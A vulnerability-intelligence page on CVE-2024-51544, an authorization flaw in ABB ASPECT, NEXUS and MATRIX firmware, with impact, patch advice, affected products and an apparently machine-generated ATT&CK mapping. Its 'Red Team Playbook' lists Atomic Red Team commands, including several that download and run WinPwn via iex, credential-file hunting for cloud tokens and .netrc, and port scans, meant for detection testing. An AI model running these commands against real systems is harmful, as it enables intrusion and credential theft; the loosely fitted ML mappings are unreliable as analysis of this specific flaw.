CVE-2024-51544

HIGH Pub 05/12 Upd 05/12

Overview

This vulnerability is a service control access flaw rooted in improper authorization controls within ABB ASPECT-Enterprise and related firmware versions. The issue arises from inadequate protection of service restart requests and virtual machine configuration settings, allowing unauthorized access to sensitive management functions. The affected components include service control interfaces responsible for managing operational parameters and VM configurations in ABB ASPECT-Enterprise v3.08.02 and associated series firmware.

Vulnerability Description

Service Control vulnerabilities allow access to service restart requests and vm configuration settings.  Affected products: ABB ASPECT - Enterprise v3.08.02; NEXUS Series v3.08.02; MATRIX Series v3.08.02

Impact

An unauthenticated remote attacker can exploit this vulnerability to restart critical services and alter virtual machine configurations, potentially disrupting industrial control processes. Since no privileges or user interaction are required (CVSS AV:N/AC:L/PR:N/UI:N), the flaw enables immediate unauthorized control over system management functions. This can lead to operational downtime, reduced system availability, and potential lateral movement within the affected network environment, impacting business continuity and safety-critical operations.

Solution

ABB has released firmware updates addressing this vulnerability in ASPECT-Enterprise and related series, specifically version 3.08.02 and later. Users should apply the patches as documented in the ABB advisory (Document ID 9AKK108469A7497) available on ABB's official support portal. The advisory provides detailed instructions for upgrading affected firmware and recommends disabling or restricting network access to service control interfaces until updates are applied.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The identified vulnerability within the ABB ASPECT, NEXUS, and MATRIX Series products pertains to service control mechanisms, specifically allowing unauthorized access to service restart requests and virtual machine configuration settings. This flaw arises from inadequate access controls, which can be exploited by malicious actors to manipulate critical services and configurations. The underlying technical issue suggests that the affected systems do not properly authenticate or authorize users attempting to initiate service restarts or modify VM settings, leading to potential unauthorized access and control over system operations.

Exploitation of this vulnerability can occur through various attack vectors. An attacker with network access to the affected systems could leverage this weakness to send crafted requests that trigger service restarts or alter VM configurations without proper authorization. This could be executed remotely, making it particularly dangerous in environments where these systems are deployed across distributed networks. Additionally, if an attacker gains initial access through other means, such as phishing or exploiting another vulnerability, they could escalate their privileges by manipulating service controls, thereby gaining further control over the infrastructure.

The real-world impact of this vulnerability poses significant risks to businesses relying on these ABB products. Unauthorized service restarts can lead to service disruptions, data loss, or corruption, ultimately affecting operational continuity. Furthermore, if an attacker modifies VM configurations, they could potentially expose sensitive data or disrupt critical business processes. The financial implications of such incidents can be severe, including costs associated with recovery efforts, potential regulatory fines, and damage to reputation. Organizations may also face legal liabilities if customer data is compromised due to inadequate security measures.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and vulnerability scans can help identify and remediate weaknesses in the system. Employing strict access controls and ensuring that only authorized personnel can initiate service restarts or modify configurations is crucial. Additionally, implementing logging and monitoring solutions can provide visibility into system activities, allowing for the detection of suspicious behavior. Organizations should also consider applying patches or updates provided by ABB to address the vulnerability and enhance overall system security.

In conclusion, the service control vulnerabilities present in ABB's ASPECT, NEXUS, and MATRIX Series products represent a serious threat to the integrity and availability of critical business operations. The potential for unauthorized access to service controls and VM configurations underscores the need for robust security practices. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats and mitigate associated risks effectively.




CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-51544, reflecting a growing likelihood of exploitation attempts targeting ABB’s ASPECT-Enterprise and related products. Although no new exploit code or active exploitation campaigns have been detected by our telemetry, the upward adjustment in EPSS—now approaching the 0.9 percentile—signals heightened attacker interest or improved feasibility of exploitation in operational environments. This subtle shift underscores the importance of continuous monitoring, as even incremental rises in predictive scores can precede emergent threat activity. Consequently, the risk posture for this vulnerability has been recalibrated to reflect a sustained high threat level, emphasizing that while immediate exploitation remains limited, the potential for impactful attacks exploiting service control weaknesses and VM configuration access persists and may accelerate without timely intervention.

Affected Products (19)

Vendor Product Version CPE
abb Abb Aspect-Ent-12 Firmware All cpe:2.3:o:abb:aspect-ent-12_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-2 Firmware All cpe:2.3:o:abb:aspect-ent-2_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-256 Firmware All cpe:2.3:o:abb:aspect-ent-256_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-96 Firmware All cpe:2.3:o:abb:aspect-ent-96_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128 Firmware All cpe:2.3:o:abb:nexus-2128_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-A Firmware All cpe:2.3:o:abb:nexus-2128-a_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-F Firmware All cpe:2.3:o:abb:nexus-2128-f_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-G Firmware All cpe:2.3:o:abb:nexus-2128-g_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264 Firmware All cpe:2.3:o:abb:nexus-264_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-A Firmware All cpe:2.3:o:abb:nexus-264-a_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-F Firmware All cpe:2.3:o:abb:nexus-264-f_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-G Firmware All cpe:2.3:o:abb:nexus-264-g_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-3-2128 Firmware All cpe:2.3:o:abb:nexus-3-2128_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-3-264 Firmware All cpe:2.3:o:abb:nexus-3-264_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-11 Firmware All cpe:2.3:o:abb:matrix-11_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-216 Firmware All cpe:2.3:o:abb:matrix-216_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-232 Firmware All cpe:2.3:o:abb:matrix-232_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-264 Firmware All cpe:2.3:o:abb:matrix-264_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-296 Firmware All cpe:2.3:o:abb:matrix-296_firmware:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
66% auth_bypass
Insecure Direct Object Reference
54% idor
Remote Code Execution
45% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-176 Configuration/Environment Manipulation
30%
Medium
CAPEC-203 Manipulate Registry Information
30%
Medium
CAPEC-271 Schema Poisoning
30%
Low High
CAPEC-13 Subverting Environment Variable Values
30%
High Very High
CAPEC-579 Replace Winlogon Helper DLL
30%

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-51544
search.abb.com
GitHub CVE
https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497&LanguageCode=en&DocumentPartId=&Action=Launch